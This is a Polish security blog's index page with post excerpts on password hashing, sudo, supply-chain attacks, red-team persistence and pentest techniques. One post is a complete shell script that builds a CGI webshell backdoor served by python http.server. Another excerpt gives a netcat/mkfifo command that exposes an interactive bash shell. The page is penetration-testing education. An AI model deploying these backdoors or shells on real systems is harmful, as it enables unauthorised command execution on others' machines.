NFsec Logo

Argon2

01/09/2021 (4 tygodnie temu) w Bezpieczeństwo Możliwość komentowania Argon2 została wyłączona

A

rgon2 jest algorytmem, który wygrał w 2015 roku Konkurs Haszowania Haseł (ang. Password Hashing Competition). Jest wskazywany jako następca bcrypt i scrypt oraz zalecany przez OWASP (ang. The Open Web Application Security Project) do zabezpieczania haseł. Zaletą tego algorytmu są jego różne warianty (aktualnie posiada on trzy: Argon2i, Argon2d i Argon2id), które zawierają mechanizmy utrudniające ataki typu brute force oraz side channel. Ma prostą konstrukcję mającą na celu uzyskanie najwyższego współczynnika wypełnienia pamięci i efektywnego wykorzystania wielu jednostek obliczeniowych.
[ czytaj całość… ]

Wsparcie dla wtyczek python w sudo 1.9

14/07/2021 w Bezpieczeństwo Możliwość komentowania Wsparcie dla wtyczek python w sudo 1.9 została wyłączona

W

szyscy znają sudo, prawda? Polecenie to pozwala administratorowi systemu nadać niektórym użytkownikom możliwość uruchamiania wybranych uprzywilejowanych poleceń, jednocześnie rejestrując ich argumenty i wykonanie. Program ten jest instalowany domyślnie prawie we wszystkich dystrybucjach systemu Linux i jest dostępny dla większości komercyjnych systemów Unix – umożliwiając precyzyjne dostosowywanie polityk dostępu. Mimo to nawet administratorzy systemów często wiedzą, że jest to „prefiks”, którego należy użyć przed uruchomieniem polecenia wymagającego uprawnień root nie zdając sobie sprawy z jego prawdziwych możliwości.
[ czytaj całość… ]

Jak adresy e-mail wyciekają z serwisów Github i Gitlab

10/06/2021 w Bezpieczeństwo Możliwość komentowania Jak adresy e-mail wyciekają z serwisów Github i Gitlab została wyłączona

B

ardzo wiele firm utrzymuje repozytoria publicznych projektów na popularnych serwisach takich jak Github oraz Gitlab. Na przykład listę loginów poszczególnych użytkowników w serwisie Github można uzyskać bardzo łatwo – wystarczy odwiedzić adres: https://github.com/orgs/$firma/people.

Plus iterując po poszczególnych projektach: https://github.com/$firma/$projekt/graphs/contributors można zebrać dość dużą ilość unikatowych użytkowników. Gdzie następuje wyciek? Otóż Github używa adresów e-mail powiązanych z kontem Github (można mieć ich więcej niż jeden – a często na jednym koncie łączy się prywatne i firmowe adresy) przy zatwierdzaniu kodu (ang. commit) oraz innych aktywnościach w profilu użytkownika. Kiedy użytkownik zatwierdza kod w publicznym repozytorium jego adres e-mail jest publikowany i staje się publicznie dostępny.
[ czytaj całość… ]

Utrzymanie stałego dostępu poprzez menedżery pakietów Linuksa

13/04/2021 w Bezpieczeństwo, Pen Test Możliwość komentowania Utrzymanie stałego dostępu poprzez menedżery pakietów Linuksa została wyłączona

W

yobraźmy sobie taki scenariusz – jesteś członkiem zespołu Red Team, który ma kompetencje w zakresie systemu Linux. Twoim zadaniem jest opracowanie ćwiczenia, w którym musisz zachować dostęp do skompromitowanego systemu przez jak najdłuższy czas. Posiadając uprawnienia administratora myślisz o dodaniu jakiegoś zadania w cron lub innej klasycznej lokalizacji (np. rc.local), ale wiesz że Blue Team je systematycznie sprawdza. Przez chwilę myślisz o doczepieniu tylnej furki jakieś binarce, tylko problem w tym, że dostęp ma być utrzymany jak najdłużej, a skompromitowana maszyna jest ustawiona na regularną aktualizację łatek bezpieczeństwa, więc wszelkie pliki wykonawcze lub inne krytyczne komponenty systemu mogą zostać nadpisane wersjami domyślnymi.
[ czytaj całość… ]

Zamieszanie w zależnościach pakietów

11/02/2021 w Ataki Internetowe Możliwość komentowania Zamieszanie w zależnościach pakietów została wyłączona

Z

amieszanie w zależnościach pakietów (ang. dependency confusion) jest nowatorką metodą ataku na łańcuch dostaw (ang. supply chain attack). Atak na łańcuch dostaw (zwany także atakiem od trzeciej strony) ma miejsce, gdy ktoś infiltruje Twój system za pośrednictwem zewnętrznego partnera lub dostawcy, który ma dostęp do Twoich systemów i danych. Na przykład Twoja firma korzysta z jego oprogramowania lub usług, które dają mu dostęp do Twojej sieci. Gdy dochodzi do przełamania zabezpieczeń u partnera – atakujący jest w stanie rozprzestrzenić wektor ataku na wszystkich klientów danej firmy. Znaczenie tego ataku dla typowego przedsiębiorstwa w ciągu ostatnich kilku lat znacznie się zmieniło, ponieważ coraz więcej dostawców i usługodawców się integruje i dotyka wzajemnie wrażliwych danych. Ryzyko związane z łańcuchem dostaw nigdy nie było wyższe ze względu na nowe rodzaje ataków, co pokazuje zamieszanie w zależnościach pakietów. Rosnąca świadomość społeczna na temat zagrożeń powoli spycha napastników na nowy kierunek masowego rażenia. Dobrym przykładem jest niedawny atak SolarWinds.
[ czytaj całość… ]

Recon Samurai – OneForAll

20/11/2020 w Pen Test Możliwość komentowania Recon Samurai – OneForAll została wyłączona

O

neForAll jest narzędziem służącym do odkrywania subdomen z wielu źródeł. Dzięki chińskiemu kontekstowi (developmentu) może zapewnić czasami przewagę nad tradycyjnymi narzędziami i serwisami służącymi do tego celu. Potrafi wykorzystać kilka egzotycznych chińskich źródeł danych, których inne narzędzia zwykle nie przeszukują np. FOFA, Baidu Cloud Observation, Gitee, ChinaZ Alexa oraz inne. Zwiększa to szanse na znalezienie unikalnych, wcześniej nieodkrytych punktów wejścia podczas pracy zwiadowczej. Sam kod narzędzia potrafi dostarczyć nam wiele adresów oraz innych narzędzi wykorzystywanych w tym procesie. W celu wykorzystania jego pełnego potencjału należy przejrzeć do jakich serwisów wymaga kluczy API umożliwiających odpytywanie różne serwisy.
[ czytaj całość… ]

Webshell / backdoor CGI za pomocą python http.server

16/11/2020 w Hacks & Scripts Możliwość komentowania Webshell / backdoor CGI za pomocą python http.server została wyłączona

cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'spc=" "' >> ./cgi-bin/backdoor.cgi
echo 'str=$1' >> ./cgi-bin/backdoor.cgi
echo 'cmd=$(echo "${str//XXX/$spc}")' >> ./cgi-bin/backdoor.cgi
echo 'printf '"'"'%s\n'"'"' "$($cmd)"' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi 
python -m http.server --cgi
curl "http://localhost:8000/cgi-bin/backdoor.cgi?unameXXX-a"
Darwin johhny5 19.6.0 Darwin Kernel Version 19.6.0: Thu Oct 29 22:56:45 PDT 2020; 
root:xnu-6153.141.2.2~1/RELEASE_X86_64 x86_64

Więcej informacji: Mark Baggett github gist

Szukanie sekretów w plikach kodu bajtowego języka Python

29/09/2020 w Pen Test Możliwość komentowania Szukanie sekretów w plikach kodu bajtowego języka Python została wyłączona

K

iedy wykonujemy program Python to w tle wykonuje się najpierw kompilacja kodu źródłowego (instrukcje znajdujące się w danym pliku .py) do formatu zwanego jako kod bajtowy. Kompilacja to proces tłumaczenia kodu na inny format, a w tym wypadku kod bajtowy jest niskopoziomową, niezależną od platformy reprezentacją kodu źródłowego. Język programowania Python przekłada każdą z instrukcji źródłowych na grupę instrukcji kodu bajtowego poprzez podzielenie ich na pojedyncze kroki. Proces przekładania kodu źródłowego na kod bajtowy odbywa się z myślą o szybkości wykonania – kod bajtowy może działać o wiele szybciej od oryginalnych instrukcji z kodu źródłowego zawartego w pliku tekstowym.
[ czytaj całość… ]

Obchodzenie flagi montowania: noexec

07/12/2019 w Bezpieczeństwo Możliwość komentowania Obchodzenie flagi montowania: noexec została wyłączona

W

historii rozwoju Linuksa znalazło się kilka sposobów na obejście ograniczeń montowania przez atakującego. Najprostszy był możliwy w Linuksie przed 2.4.25 / 2.6.0, gdzie opcję noexec można było ominąć używając /lib/ld-linux.so do wykonywania plików binarnych znajdujących się w ścieżkach takich systemów plików:
[ czytaj całość… ]

Od netcat do pełnowymiarowej powłoki shell

27/12/2018 w Pen Test Możliwość komentowania Od netcat do pełnowymiarowej powłoki shell została wyłączona

Z

ałóżmy, że uruchomiliśmy już „odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
Listening on [0.0.0.0] (family 0, port 4444)
Connection from X.X.X.X 45600 received!

Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:

agresor@stardust:~$ nc X.X.X.X 4444
vim
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal

Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:
[ czytaj całość… ]